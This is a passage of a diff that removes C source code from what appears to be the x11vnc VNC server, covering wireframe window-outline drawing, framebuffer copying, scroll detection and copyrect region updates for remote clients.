- int x0, y0, x1, y1, i, pixelsize = bpp/8;
- char *dst, *src, *use_fb;
- static saveline_t *save[4];
- static int first = 1, len = 0;
- int max = dpy_x > dpy_y ? dpy_x : dpy_y;
- int use_Bpl, lw = wireframe_lw;
- unsigned long shade = wireframe_shade;
- int color = 0;
- unsigned short us = 0;
- unsigned long ul = 0;
-
- if (clipshift) {
- x -= coff_x;
- y -= coff_y;
- }
-
- /* handle -8to24 mode: use 2nd fb only */
- use_fb = main_fb;
- use_Bpl = main_bytes_per_line;
-
- if (cmap8to24 && cmap8to24_fb) {
- use_fb = cmap8to24_fb;
- pixelsize = 4;
- if (depth <= 8) {
- use_Bpl *= 4;
- } else if (depth <= 16) {
- use_Bpl *= 2;
- }
- }
-
- if (max > len) {
- /* create/resize storage lines: */
- for (i=0; i<4; i++) {
- len = max;
- if (! first && save[i]) {
- if (save[i]->data) {
- free(save[i]->data);
- save[i]->data = NULL;
- }
- free(save[i]);
- }
- save[i] = (saveline_t *) malloc(sizeof(saveline_t));
- save[i]->saved = 0;
- save[i]->data = (char *) malloc( (LW_MAX+1)*len*4 );
-
- /*
- * Four types of lines:
- * 0) top horizontal
- * 1) bottom horizontal
- * 2) left vertical
- * 3) right vertical
- *
- * shift means shifted by width or height.
- */
- if (i == 0) {
- save[i]->vert = 0;
- save[i]->shift = 0;
- } else if (i == 1) {
- save[i]->vert = 0;
- save[i]->shift = 1;
- } else if (i == 2) {
- save[i]->vert = 1;
- save[i]->shift = 0;
- } else if (i == 3) {
- save[i]->vert = 1;
- save[i]->shift = 1;
- }
- }
- }
- first = 0;
-
- /*
- * restore any saved lines. see below for algorithm and
- * how x0, etc. are used. we just reverse those steps.
- */
- for (i=0; i<4; i++) {
- int s = save[i]->shift;
- int yu, y_min = -1, y_max = -1;
- int y_start, y_stop, y_step;
-
- if (! save[i]->saved) {
- continue;
- }
- x0 = save[i]->x0;
- y0 = save[i]->y0;
- x1 = save[i]->x1;
- y1 = save[i]->y1;
- if (save[i]->vert) {
- y_start = y0+lw;
- y_stop = y1-lw;
- y_step = lw*pixelsize;
- } else {
- y_start = y0 - s*lw;
- y_stop = y_start + lw;
- y_step = max*pixelsize;
- }
- for (yu = y_start; yu < y_stop; yu++) {
- if (x0 == x1) {
- continue;
- }
- if (yu < 0 || yu >= dpy_y) {
- continue;
- }
- if (y_min < 0 || yu < y_min) {
- y_min = yu;
- }
- if (y_max < 0 || yu > y_max) {
- y_max = yu;
- }
- src = save[i]->data + (yu-y_start)*y_step;
- dst = use_fb + yu*use_Bpl + x0*pixelsize;
- memcpy(dst, src, (x1-x0)*pixelsize);
- }
- if (y_min >= 0) {
-if (0) fprintf(stderr, "Mark-1 %d %d %d %d\n", x0, y_min, x1, y_max+1);
- mark_rect_as_modified(x0, y_min, x1, y_max+1, 0);
- }
- save[i]->saved = 0;
- }
-
-if (0) fprintf(stderr, " DrawBox: %04dx%04d+%04d+%04d B=%d rest=%d lw=%d %.4f\n", w, h, x, y, 2*(w+h)*(2-restore)*pixelsize*lw, restore, lw, dnowx());
-
- if (restore) {
- return;
- }
-
-
- /*
- * work out shade/color for the wireframe line, could be a color
- * for 16bpp or 24bpp.
- */
- if (shade > 255) {
- if (pixelsize == 2) {
- us = (unsigned short) (shade & 0xffff);
- color = 1;
- } else if (pixelsize == 4) {
- ul = (unsigned long) shade;
- color = 1;
- } else {
- shade = shade % 256;
- }
- }
-
- for (i=0; i<4; i++) {
- int s = save[i]->shift;
- int yu, y_min = -1, y_max = -1;
- int yblack = -1, xblack1 = -1, xblack2 = -1;
- int y_start, y_stop, y_step;
-
- if (save[i]->vert) {
- /*
- * make the narrow x's be on the screen, let
- * the y's hang off (not drawn).
- */
- save[i]->x0 = x0 = nfix(x + s*w - s*lw, dpy_x);
- save[i]->y0 = y0 = y;
- save[i]->x1 = x1 = nfix(x + s*w - s*lw + lw, dpy_x);
- save[i]->y1 = y1 = y + h;
-
- /*
- * start and stop a linewidth away from true edge,
- * to avoid interfering with horizontal lines.
- */
- y_start = y0+lw;
- y_stop = y1-lw;
- y_step = lw*pixelsize;
-
- /* draw a black pixel for the border if lw > 1 */
- if (s) {
- xblack1 = x1-1;
- } else {
- xblack1 = x0;
- }
- } else {
- /*
- * make the wide x's be on the screen, let the y's
- * hang off (not drawn).
- */
- save[i]->x0 = x0 = nfix(x, dpy_x);
- save[i]->y0 = y0 = y + s*h;
- save[i]->x1 = x1 = nfix(x + w, dpy_x);
- save[i]->y1 = y1 = y0 + lw;
- y_start = y0 - s*lw;
- y_stop = y_start + lw;
- y_step = max*pixelsize;
-
- /* draw a black pixels for the border if lw > 1 */
- if (s) {
- yblack = y_stop - 1;
- } else {
- yblack = y_start;
- }
- xblack1 = x0;
- xblack2 = x1-1;
- }
-
- /* now loop over the allowed y's for either case */
- for (yu = y_start; yu < y_stop; yu++) {
- if (x0 == x1) {
- continue;
- }
- if (yu < 0 || yu >= dpy_y) {
- continue;
- }
-
- /* record min and max y's for marking rectangle: */
- if (y_min < 0 || yu < y_min) {
- y_min = yu;
- }
- if (y_max < 0 || yu > y_max) {
- y_max = yu;
- }
-
- /* save fb data for this line: */
- save[i]->saved = 1;
- src = use_fb + yu*use_Bpl + x0*pixelsize;
- dst = save[i]->data + (yu-y_start)*y_step;
- memcpy(dst, src, (x1-x0)*pixelsize);
-
- /* apply the shade/color to make the wireframe line: */
- if (! color) {
- memset(src, shade, (x1-x0)*pixelsize);
- } else {
- char *csrc = src;
- unsigned short *usp;
- unsigned long *ulp;
- int k;
- for (k=0; k < x1 - x0; k++) {
- if (pixelsize == 4) {
- ulp = (unsigned long *)csrc;
- *ulp = ul;
- } else if (pixelsize == 2) {
- usp = (unsigned short *)csrc;
- *usp = us;
- }
- csrc += pixelsize;
- }
- }
-
- /* apply black border for lw >= 2 */
- if (lw > 1) {
- if (yu == yblack) {
- memset(src, 0, (x1-x0)*pixelsize);
- }
- if (xblack1 >= 0) {
- src = src + (xblack1 - x0)*pixelsize;
- memset(src, 0, pixelsize);
- }
- if (xblack2 >= 0) {
- src = src + (xblack2 - x0)*pixelsize;
- memset(src, 0, pixelsize);
- }
- }
- }
- /* mark it for sending: */
- if (save[i]->saved) {
-if (0) fprintf(stderr, "Mark-2 %d %d %d %d\n", x0, y_min, x1, y_max+1);
- mark_rect_as_modified(x0, y_min, x1, y_max+1, 0);
- }
- }
-}
-
-int direct_fb_copy(int x1, int y1, int x2, int y2, int mark) {
- char *src, *dst;
- int y, pixelsize = bpp/8;
- int xmin = -1, xmax = -1, ymin = -1, ymax = -1;
- int do_cmp = 2;
- double tm;
- int db = 0;
-
-if (db) dtime0(&tm);
-
- x1 = nfix(x1, dpy_x);
- y1 = nfix(y1, dpy_y);
- x2 = nfix(x2, dpy_x+1);
- y2 = nfix(y2, dpy_y+1);
-
- if (x1 == x2) {
- return 1;
- }
- if (y1 == y2) {
- return 1;
- }
-
- X_LOCK;
- for (y = y1; y < y2; y++) {
- XRANDR_SET_TRAP_RET(0, "direct_fb_copy-set");
- copy_image(scanline, x1, y, x2 - x1, 1);
- XRANDR_CHK_TRAP_RET(0, "direct_fb_copy-chk");
-
- src = scanline->data;
- dst = main_fb + y * main_bytes_per_line + x1 * pixelsize;
-
- if (do_cmp == 0 || !mark) {
- memcpy(dst, src, (x2 - x1)*pixelsize);
-
- } else if (do_cmp == 1) {
- if (memcmp(dst, src, (x2 - x1)*pixelsize)) {
- if (ymin == -1 || y < ymin) {
- ymin = y;
- }
- if (ymax == -1 || y > ymax) {
- ymax = y;
- }
- memcpy(dst, src, (x2 - x1)*pixelsize);
- }
-
- } else if (do_cmp == 2) {
- int n, shift, xlo, xhi, k, block = 32;
- char *dst2, *src2;
-
- for (k=0; k*block < (x2 - x1); k++) {
- shift = k*block;
- xlo = x1 + shift;
- xhi = xlo + block;
- if (xhi > x2) {
- xhi = x2;
- }
- n = xhi - xlo;
- if (n < 1) {
- continue;
- }
- src2 = src + shift*pixelsize;
- dst2 = dst + shift*pixelsize;
- if (memcmp(dst2, src2, n*pixelsize)) {
- if (ymin == -1 || y < ymin) {
- ymin = y;
- }
- if (ymax == -1 || y > ymax) {
- ymax = y;
- }
- if (xmin == -1 || xlo < xmin) {
- xmin = xlo;
- }
- if (xmax == -1 || xhi > xmax) {
- xmax = xhi;
- }
- memcpy(dst2, src2, n*pixelsize);
- }
- }
- }
- }
- X_UNLOCK;
-
- if (do_cmp == 0) {
- xmin = x1;
- ymin = y1;
- xmax = x2;
- ymax = y2;
- } else if (do_cmp == 1) {
- xmin = x1;
- xmax = x2;
- }
-
- if (xmin < 0 || ymin < 0 || xmax < 0 || xmin < 0) {
- /* no diffs */
- return 1;
- }
-
- if (xmax < x2) {
- xmax++;
- }
- if (ymax < y2) {
- ymax++;
- }
-
- if (mark) {
- mark_rect_as_modified(xmin, ymin, xmax, ymax, 0);
- }
-
- if (db) {
- fprintf(stderr, "direct_fb_copy: %dx%d+%d+%d - %d %.4f\n",
- x2 - x1, y2 - y1, x1, y1, mark, dtime(&tm));
- }
-
- return 1;
-}
-
-static int do_bdpush(Window wm_win, int x0, int y0, int w0, int h0, int bdx,
- int bdy, int bdskinny) {
-
- XWindowAttributes attr;
- sraRectangleIterator *iter;
- sraRect rect;
- sraRegionPtr frame, whole, tmpregion;
- int tx1, ty1, tx2, ty2;
- static Window last_wm_win = None;
- static int last_x, last_y, last_w, last_h;
- int do_fb_push = 0;
- int db = debug_scroll;
-
- if (wm_win == last_wm_win) {
- attr.x = last_x;
- attr.y = last_y;
- attr.width = last_w;
- attr.height = last_h;
- } else {
- if (!valid_window(wm_win, &attr, 1)) {
- return do_fb_push;
- }
- last_wm_win = wm_win;
- last_x = attr.x;
- last_y = attr.y;
- last_w = attr.width;
- last_h = attr.height;
- }
-if (db > 1) fprintf(stderr, "BDP %d %d %d %d %d %d %d %d %d %d %d\n",
- x0, y0, w0, h0, bdx, bdy, bdskinny, last_x, last_y, last_w, last_h);
-
- /* wm frame: */
- tx1 = attr.x;
- ty1 = attr.y;
- tx2 = attr.x + attr.width;
- ty2 = attr.y + attr.height;
-
- whole = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- if (clipshift) {
- sraRgnOffset(whole, coff_x, coff_y);
- }
- if (subwin) {
- sraRgnOffset(whole, off_x, off_y);
- }
- frame = sraRgnCreateRect(tx1, ty1, tx2, ty2);
- sraRgnAnd(frame, whole);
-
- /* scrolling window: */
- tmpregion = sraRgnCreateRect(x0, y0, x0 + w0, y0 + h0);
- sraRgnAnd(tmpregion, whole);
-
- sraRgnSubtract(frame, tmpregion);
- sraRgnDestroy(tmpregion);
-
- if (!sraRgnEmpty(frame)) {
- double dt = 0.0, dm;
- dtime0(&dm);
- iter = sraRgnGetIterator(frame);
- while (sraRgnIteratorNext(iter, &rect)) {
- tx1 = rect.x1;
- ty1 = rect.y1;
- tx2 = rect.x2;
- ty2 = rect.y2;
-
- if (bdskinny > 0) {
- int ok = 0;
- if (nabs(ty2-ty1) <= bdskinny) {
- ok = 1;
- }
- if (nabs(tx2-tx1) <= bdskinny) {
- ok = 1;
- }
- if (! ok) {
- continue;
- }
- }
-
- if (bdx >= 0) {
- if (bdx < tx1 || tx2 <= bdx) {
- continue;
- }
- }
- if (bdy >= 0) {
- if (bdy < ty1 || ty2 <= bdy) {
- continue;
- }
- }
- if (clipshift) {
- tx1 -= coff_x;
- ty1 -= coff_y;
- tx2 -= coff_x;
- ty2 -= coff_y;
- }
- if (subwin) {
- tx1 -= off_x;
- ty1 -= off_y;
- tx2 -= off_x;
- ty2 -= off_y;
- }
-
- direct_fb_copy(tx1, ty1, tx2, ty2, 1);
-
- do_fb_push++;
- dt += dtime(&dm);
-if (db > 1) fprintf(stderr, " BDP(%d,%d-%d,%d) dt: %.4f\n", tx1, ty1, tx2, ty2, dt);
- }
- sraRgnReleaseIterator(iter);
- }
- sraRgnDestroy(whole);
- sraRgnDestroy(frame);
-
- return do_fb_push;
-}
-
-static int set_ypad(void) {
- int ev, ev_tot = scr_ev_cnt;
- static Window last_win = None;
- static double last_time = 0.0;
- static int y_accum = 0, last_sign = 0;
- double now, cut = 0.1;
- int dy_sum = 0, ys = 0, sign;
- int font_size = 15;
- int win_y, scr_y, loc_cut = 4*font_size, y_cut = 10*font_size;
-
- if (!xrecord_set_by_keys || !xrecord_name_info) {
- return 0;
- }
- if (xrecord_name_info[0] == '\0') {
- return 0;
- }
- if (! ev_tot) {
- return 0;
- }
- if (xrecord_keysym == NoSymbol) {
- return 0;
- }
- if (!xrecord_scroll_keysym(xrecord_keysym)) {
- return 0;
- }
- if (!scroll_term) {
- return 0;
- }
- if (!match_str_list(xrecord_name_info, scroll_term)) {
- return 0;
- }
-
- for (ev=0; ev < ev_tot; ev++) {
- dy_sum += nabs(scr_ev[ev].dy);
- if (scr_ev[ev].dy < 0) {
- ys--;
- } else if (scr_ev[ev].dy > 0) {
- ys++;
- } else {
- ys = 0;
- break;
- }
- if (scr_ev[ev].win != scr_ev[0].win) {
- ys = 0;
- break;
- }
- if (scr_ev[ev].dx != 0) {
- ys = 0;
- break;
- }
- }
- if (ys != ev_tot && ys != -ev_tot) {
- return 0;
- }
- if (ys < 0) {
- sign = -1;
- } else {
- sign = 1;
- }
-
- if (sign > 0) {
- /*
- * this case is not as useful as scrolling near the
- * bottom of a terminal. But there are problems for it too.
- */
- return 0;
- }
-
- win_y = scr_ev[0].win_y + scr_ev[0].win_h;
- scr_y = scr_ev[0].y + scr_ev[0].h;
- if (nabs(scr_y - win_y) > loc_cut) {
- /* require it to be near the bottom. */
- return 0;
- }
-
- now = dnow();
-
- if (now < last_time + cut) {
- int ok = 1;
- if (last_win && scr_ev[0].win != last_win) {
- ok = 0;
- }
- if (last_sign && sign != last_sign) {
- ok = 0;
- }
- if (! ok) {
- last_win = None;
- last_sign = 0;
- y_accum = 0;
- last_time = 0.0;
- return 0;
- }
- } else {
- last_win = None;
- last_sign = 0;
- last_time = 0.0;
- y_accum = 0;
- }
-
- y_accum += sign * dy_sum;
-
- if (4 * nabs(y_accum) > scr_ev[0].h && y_cut) {
- ; /* TBD */
- }
-
- last_sign = sign;
- last_win = scr_ev[0].win;
- last_time = now;
-
- return y_accum;
-}
-
-static void scale_mark(int x1, int y1, int x2, int y2, int mark) {
- int s = 2;
- x1 = nfix(x1 - s, dpy_x);
- y1 = nfix(y1 - s, dpy_y);
- x2 = nfix(x2 + s, dpy_x+1);
- y2 = nfix(y2 + s, dpy_y+1);
- scale_and_mark_rect(x1, y1, x2, y2, mark);
-}
-
-#define PUSH_TEST(n) \
-if (n) { \
- double dt = 0.0, tm; dtime0(&tm); \
- fprintf(stderr, "PUSH---\n"); \
- while (dt < 2.0) { rfbPE(50000); dt += dtime(&tm); } \
- fprintf(stderr, "---PUSH\n"); \
-}
-
-int batch_dxs[], batch_dys[];
-sraRegionPtr batch_reg[];
-void batch_push(int ncr, double delay);
-
-static int push_scr_ev(double *age, int type, int bdpush, int bdx, int bdy,
- int bdskinny, int first_push) {
- Window frame, win, win0;
- int x, y, w, h, wx, wy, ww, wh, dx, dy;
- int x0, y0, w0, h0;
- int nx, ny, nw, nh;
- int dret = 1, do_fb_push = 0, obscured;
- int ev, ev_tot = scr_ev_cnt;
- double tm, dt, st, waittime = 0.125;
- double max_age = *age;
- int db = debug_scroll, rrate = get_read_rate();
- sraRegionPtr backfill, whole, tmpregion, tmpregion2;
- int link, latency, netrate;
- int ypad = 0;
- double last_scroll_event_save = last_scroll_event;
- int fast_push = 0, rc;
-
- /* we return the oldest one. */
- *age = 0.0;
-
- if (ev_tot == 0) {
- return dret;
- }
-
- link = link_rate(&latency, &netrate);
-
- if (link == LR_DIALUP) {
- waittime *= 5;
- } else if (link == LR_BROADBAND) {
- waittime *= 3;
- } else if (latency > 80 || netrate < 40) {
- waittime *= 3;
- }
-
- backfill = sraRgnCreate();
- whole = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- if (clipshift) {
- sraRgnOffset(whole, coff_x, coff_y);
- }
- if (subwin) {
- sraRgnOffset(whole, off_x, off_y);
- }
-
- win0 = scr_ev[0].win;
- x0 = scr_ev[0].win_x;
- y0 = scr_ev[0].win_y;
- w0 = scr_ev[0].win_w;
- h0 = scr_ev[0].win_h;
-
- ypad = set_ypad();
-
-if (db) fprintf(stderr, "ypad: %d dy[0]: %d ev_tot: %d\n", ypad, scr_ev[0].dy, ev_tot);
-
- for (ev=0; ev < ev_tot; ev++) {
- double ag;
-
- x = scr_ev[ev].x;
- y = scr_ev[ev].y;
- w = scr_ev[ev].w;
- h = scr_ev[ev].h;
- dx = scr_ev[ev].dx;
- dy = scr_ev[ev].dy;
- win = scr_ev[ev].win;
- wx = scr_ev[ev].win_x;
- wy = scr_ev[ev].win_y;
- ww = scr_ev[ev].win_w;
- wh = scr_ev[ev].win_h;
- nx = scr_ev[ev].new_x;
- ny = scr_ev[ev].new_y;
- nw = scr_ev[ev].new_w;
- nh = scr_ev[ev].new_h;
- st = scr_ev[ev].t;
-
- ag = (dnow() - servertime_diff) - st;
- if (ag > *age) {
- *age = ag;
- }
-
- if (dabs(ag) > max_age) {
-if (db) fprintf(stderr, "push_scr_ev: TOO OLD: %.4f :: (%.4f - %.4f) "
- "- %.4f \n", ag, dnow(), servertime_diff, st);
- dret = 0;
- break;
- } else {
-if (db) fprintf(stderr, "push_scr_ev: AGE: %.4f\n", ag);
- }
- if (win != win0) {
-if (db) fprintf(stderr, "push_scr_ev: DIFF WIN: 0x%lx != 0x%lx\n", win, win0);
- dret = 0;
- break;
- }
- if (wx != x0 || wy != y0) {
-if (db) fprintf(stderr, "push_scr_ev: WIN SHIFT: %d %d, %d %d", wx, x0, wy, y0);
- dret = 0;
- break;
- }
- if (ww != w0 || wh != h0) {
-if (db) fprintf(stderr, "push_scr_ev: WIN RESIZE: %d %d, %d %d", ww, w0, wh, h0);
- dret = 0;
- break;
- }
- if (w < 1 || h < 1 || ww < 1 || wh < 1) {
-if (db) fprintf(stderr, "push_scr_ev: NEGATIVE h/w: %d %d %d %d\n", w, h, ww, wh);
- dret = 0;
- break;
- }
-
-if (db > 1) fprintf(stderr, "push_scr_ev: got: %d x: %4d y: %3d"
- " w: %4d h: %3d dx: %d dy: %d %dx%d+%d+%d win: 0x%lx\n",
- ev, x, y, w, h, dx, dy, w, h, x, y, win);
-
-if (db > 1) fprintf(stderr, "------------ got: %d x: %4d y: %3d"
- " w: %4d h: %3d %dx%d+%d+%d\n",
- ev, wx, wy, ww, wh, ww, wh, wx, wy);
-
-if (db > 1) fprintf(stderr, "------------ got: %d x: %4d y: %3d"
- " w: %4d h: %3d %dx%d+%d+%d\n",
- ev, nx, ny, nw, nh, nw, nh, nx, ny);
-
- frame = None;
- if (xrecord_wm_window) {
- frame = xrecord_wm_window;
- }
- if (! frame) {
- X_LOCK;
- frame = query_pointer(rootwin);
- X_UNLOCK;
- }
- if (! frame) {
- frame = win;
- }
-
- dtime0(&tm);
-
- tmpregion = sraRgnCreateRect(0, 0, dpy_x, dpy_y);
- if (clipshift) {
- sraRgnOffset(tmpregion, coff_x, coff_y);
- }
- if (subwin) {
- sraRgnOffset(tmpregion, off_x, off_y);
- }
- tmpregion2 = sraRgnCreateRect(wx, wy, wx+ww, wy+wh);
- sraRgnAnd(tmpregion2, whole);
- sraRgnSubtract(tmpregion, tmpregion2);
- sraRgnDestroy(tmpregion2);
-
- /* do the wm frame just incase the above is bogus too. */
- if (frame && frame != win) {
- int k, gotk = -1;
- for (k = stack_list_num - 1; k >= 0; k--) {
- if (stack_list[k].win == frame &&
- stack_list[k].fetched &&
- stack_list[k].valid &&
- stack_list[k].map_state == IsViewable) {
- gotk = k;
- break;
- }
- }
- if (gotk != -1) {
- int tx1, ty1, tx2, ty2;
- tx1 = stack_list[gotk].x;
- ty1 = stack_list[gotk].y;
- tx2 = tx1 + stack_list[gotk].width;
- ty2 = ty1 + stack_list[gotk].height;
- tmpregion2 = sraRgnCreateRect(tx1,ty1,tx2,ty2);
- sraRgnAnd(tmpregion2, whole);
- sraRgnSubtract(tmpregion, tmpregion2);
- sraRgnDestroy(tmpregion2);
- }
- }
-
- /*
- * XXX Need to also clip:
- * children of win
- * siblings of win higher in stacking order.
- * ignore for now... probably will make some apps
- * act very strangely.
- */
- if (ypad) {
- if (ypad < 0) {
- if (h > -ypad) {
- h += ypad;
- } else {
- ypad = 0;
- }
- } else {
- if (h > ypad) {
- y += ypad;
- } else {
- ypad = 0;
- }
- }
- }
-
- if (fast_push) {
- int nbatch = 0;
- double delay, d1 = 0.1, d2 = 0.02;
- rc = try_copyrect(frame, frame, x, y, w, h, dx, dy, &obscured,
- tmpregion, waittime, &nbatch);
-
- if (first_push) {
- delay = d1;
- } else {
- delay = d2;
- }
-
- batch_push(nbatch, delay);
- fb_push();
- } else {
- rc = try_copyrect(frame, frame, x, y, w, h, dx, dy, &obscured,
- tmpregion, waittime, NULL);
- if (rc) {
- last_scroll_type = type;
- dtime0(&last_scroll_event);
-
- do_fb_push++;
- urgent_update = 1;
- sraRgnDestroy(tmpregion);
-PUSH_TEST(0);
- }
- }
-
- if (! rc) {
- dret = 0;
- sraRgnDestroy(tmpregion);
- break;
- }
- dt = dtime(&tm);
-if (0) fprintf(stderr, " try_copyrect dt: %.4f\n", dt);
-
- if (ev > 0) {
- sraRgnOffset(backfill, dx, dy);
- sraRgnAnd(backfill, whole);
- }
-
- if (ypad) {
- if (ypad < 0) {
- ny += ypad;
- nh -= ypad;
- } else {
- ;
- }
- }
-
- tmpregion = sraRgnCreateRect(nx, ny, nx + nw, ny + nh);
- sraRgnAnd(tmpregion, whole);
- sraRgnOr(backfill, tmpregion);
- sraRgnDestroy(tmpregion);
- }
-
- /* try to update the backfill region (new window contents) */
- if (dret != 0) {
- double est, win_area = 0.0, area = 0.0;
- sraRectangleIterator *iter;
- sraRect rect;
- int tx1, ty1, tx2, ty2;
-
- tmpregion = sraRgnCreateRect(x0, y0, x0 + w0, y0 + h0);
- sraRgnAnd(tmpregion, whole);
-
- sraRgnAnd(backfill, tmpregion);
-
- iter = sraRgnGetIterator(tmpregion);
- while (sraRgnIteratorNext(iter, &rect)) {
- tx1 = rect.x1;
- ty1 = rect.y1;
- tx2 = rect.x2;
- ty2 = rect.y2;
-
- win_area += (tx2 - tx1)*(ty2 - ty1);
- }
- sraRgnReleaseIterator(iter);
-
- sraRgnDestroy(tmpregion);
-
-
- iter = sraRgnGetIterator(backfill);
- while (sraRgnIteratorNext(iter, &rect)) {
- tx1 = rect.x1;
- ty1 = rect.y1;
- tx2 = rect.x2;
- ty2 = rect.y2;
-
- area += (tx2 - tx1)*(ty2 - ty1);
- }
- sraRgnReleaseIterator(iter);
-
- est = (area * (bpp/8)) / (1000000.0 * rrate);
-if (db) fprintf(stderr, " area %.1f win_area %.1f est: %.4f", area, win_area, est);
- if (area > 0.90 * win_area) {
-if (db) fprintf(stderr, " AREA_TOO_MUCH");
- dret = 0;
- } else if (est > 0.6) {
-if (db) fprintf(stderr, " EST_TOO_LARGE");
- dret = 0;
- } else if (area <= 0.0) {
- ;
- } else {
- dtime0(&tm);
- iter = sraRgnGetIterator(backfill);
- while (sraRgnIteratorNext(iter, &rect)) {
- tx1 = rect.x1;
- ty1 = rect.y1;
- tx2 = rect.x2;
- ty2 = rect.y2;
-
- if (clipshift) {
- tx1 -= coff_x;
- ty1 -= coff_y;
- tx2 -= coff_x;
- ty2 -= coff_y;
- }
- if (subwin) {
- tx1 -= off_x;
- ty1 -= off_y;
- tx2 -= off_x;
- ty2 -= off_y;
- }
- tx1 = nfix(tx1, dpy_x);
- ty1 = nfix(ty1, dpy_y);
- tx2 = nfix(tx2, dpy_x+1);
- ty2 = nfix(ty2, dpy_y+1);
-
- dtime(&tm);
-if (db) fprintf(stderr, " DFC(%d,%d-%d,%d)", tx1, ty1, tx2, ty2);
- direct_fb_copy(tx1, ty1, tx2, ty2, 1);
- if (fast_push) {
- fb_push();
- }
- do_fb_push++;
-PUSH_TEST(0);
- }
- sraRgnReleaseIterator(iter);
-
- dt = dtime(&tm);
-if (db) fprintf(stderr, " dfc---- dt: %.4f", dt);
-
- }
-if (db && dret) fprintf(stderr, " **** dret=%d", dret);
-if (db && !dret) fprintf(stderr, " ---- dret=%d", dret);
-if (db) fprintf(stderr, "\n");
- }
-
-if (db && bdpush) fprintf(stderr, "BDPUSH-TIME: 0x%lx\n", xrecord_wm_window);
-
- if (bdpush && xrecord_wm_window != None) {
- int x, y, w, h;
- x = scr_ev[0].x;
- y = scr_ev[0].y;
- w = scr_ev[0].w;
- h = scr_ev[0].h;
- do_fb_push += do_bdpush(xrecord_wm_window, x, y, w, h,
- bdx, bdy, bdskinny);
- if (fast_push) {
- fb_push();
- }
- }
-
- if (do_fb_push) {
- dtime0(&tm);
- fb_push();
- dt = dtime(&tm);
-if (0) fprintf(stderr, " fb_push dt: %.4f", dt);
- if (scaling) {
- static double last_time = 0.0;
- double now = dnow(), delay = 0.4, first_wait = 3.0;
- double trate;
- int repeating, lat, rate;
- int link = link_rate(&lat, &rate);
- int skip_first = 0;
-
- if (link == LR_DIALUP || rate < 35) {
- delay *= 4;
- } else if (link != LR_LAN || rate < 100) {
- delay *= 2;
- }
-
- trate = typing_rate(0.0, &repeating);
-
- if (xrecord_set_by_mouse || repeating >= 3) {
- if (now > last_scroll_event_save + first_wait) {
- skip_first = 1;
- }
- }
-
- if (skip_first) {
- /*
- * try not to send the first one, but a
- * single keystroke scroll would be OK.
- */
- } else if (now > last_time + delay) {
-
- scale_mark(x0, y0, x0 + w0, y0 + h0, 1);
- last_copyrect_fix = now;
- }
- last_time = now;
- }
- }
-
- sraRgnDestroy(backfill);
- sraRgnDestroy(whole);
- return dret;
-}
-
-static void get_client_regions(int *req, int *mod, int *cpy, int *num) {
-
- rfbClientIteratorPtr i;
- rfbClientPtr cl;
-
- *req = 0;
- *mod = 0;
- *cpy = 0;
- *num = 0;
-
- i = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(i)) ) {
- if (use_threads) LOCK(cl->updateMutex);
- *req += sraRgnCountRects(cl->requestedRegion);
- *mod += sraRgnCountRects(cl->modifiedRegion);
- *cpy += sraRgnCountRects(cl->copyRegion);
- *num += 1;
- if (use_threads) UNLOCK(cl->updateMutex);
- }
- rfbReleaseClientIterator(i);
-}
-
-/*
- * Wrapper to apply the rfbDoCopyRegion taking into account if scaling
- * is being done. Note that copyrect under the scaling case is often
- * only approximate.
- */
-int DCR_Normal = 0;
-int DCR_FBOnly = 1;
-int DCR_Direct = 2;
-
-void do_copyregion(sraRegionPtr region, int dx, int dy, int mode) {
- sraRectangleIterator *iter;
- sraRect rect;
- int Bpp0 = bpp/8, Bpp;
- int x1, y1, x2, y2, w, stride, stride0;
- int sx1, sy1, sx2, sy2, sdx, sdy;
- int req, mod, cpy, ncli;
- char *dst = NULL, *src = NULL;
-
- last_copyrect = dnow();
-
- if (rfb_fb == main_fb && ! rotating && mode == DCR_Normal) {
- /* normal case, no -scale or -8to24 */
- get_client_regions(&req, &mod, &cpy, &ncli);
-if (0 || debug_scroll > 1) fprintf(stderr, ">>>-rfbDoCopyRect req: %d mod: %d cpy: %d\n", req, mod, cpy);
-
- rfbDoCopyRegion(screen, region, dx, dy);
-
- get_client_regions(&req, &mod, &cpy, &ncli);
-if (0 || debug_scroll > 1) fprintf(stderr, "<<<-rfbDoCopyRect req: %d mod: %d cpy: %d\n", req, mod, cpy);
-
- return;
- }
-
- /* rarer case, we need to call rfbDoCopyRect with scaled xy */
- stride0 = dpy_x * Bpp0;
-
- iter = sraRgnGetReverseIterator(region, dx < 0, dy < 0);
- while(sraRgnIteratorNext(iter, &rect)) {
- int j, c, t;
-
- x1 = rect.x1;
- y1 = rect.y1;
- x2 = rect.x2;
- y2 = rect.y2;
-
- for (c= 0; c < 2; c++) {
-
- Bpp = Bpp0;
- stride = stride0;
-
- if (c == 0) {
- dst = main_fb + y1*stride + x1*Bpp;
- src = main_fb + (y1-dy)*stride + (x1-dx)*Bpp;
-
- } else if (c == 1) {
- if (!cmap8to24 || !cmap8to24_fb) {
- continue;
- }
- if (cmap8to24_fb == rfb_fb) {
- if (mode == DCR_FBOnly) {
- ;
- } else if (mode == DCR_Direct) {
- ;
- } else if (mode == DCR_Normal) {
- continue;
- }
- }
-if (0) fprintf(stderr, "copyrect: cmap8to24_fb: mode=%d\n", mode);
- if (cmap8to24) {
- if (depth <= 8) {
- Bpp = 4 * Bpp0;
- stride = 4 * stride0;
- } else if (depth <= 16) {
- Bpp = 2 * Bpp0;
- stride = 2 * stride0;
- }
- }
- dst = cmap8to24_fb + y1*stride + x1*Bpp;
- src = cmap8to24_fb + (y1-dy)*stride + (x1-dx)*Bpp;
- }
-
- w = (x2 - x1)*Bpp;
-
- if (dy < 0) {
- for (j=y1; j<y2; j++) {
- memmove(dst, src, w);
- dst += stride;
- src += stride;
- }
- } else {
- dst += (y2 - y1 - 1)*stride;
- src += (y2 - y1 - 1)*stride;
- for (j=y2-1; j>=y1; j--) {
- memmove(dst, src, w);
- dst -= stride;
- src -= stride;
- }
- }
- }
-
- if (mode == DCR_FBOnly) {
- continue;
- }
-
-
- if (scaling) {
- sx1 = ((double) x1 / dpy_x) * scaled_x;
- sy1 = ((double) y1 / dpy_y) * scaled_y;
- sx2 = ((double) x2 / dpy_x) * scaled_x;
- sy2 = ((double) y2 / dpy_y) * scaled_y;
- sdx = ((double) dx / dpy_x) * scaled_x;
- sdy = ((double) dy / dpy_y) * scaled_y;
- } else {
- sx1 = x1;
- sy1 = y1;
- sx2 = x2;
- sy2 = y2;
- sdx = dx;
- sdy = dy;
- }
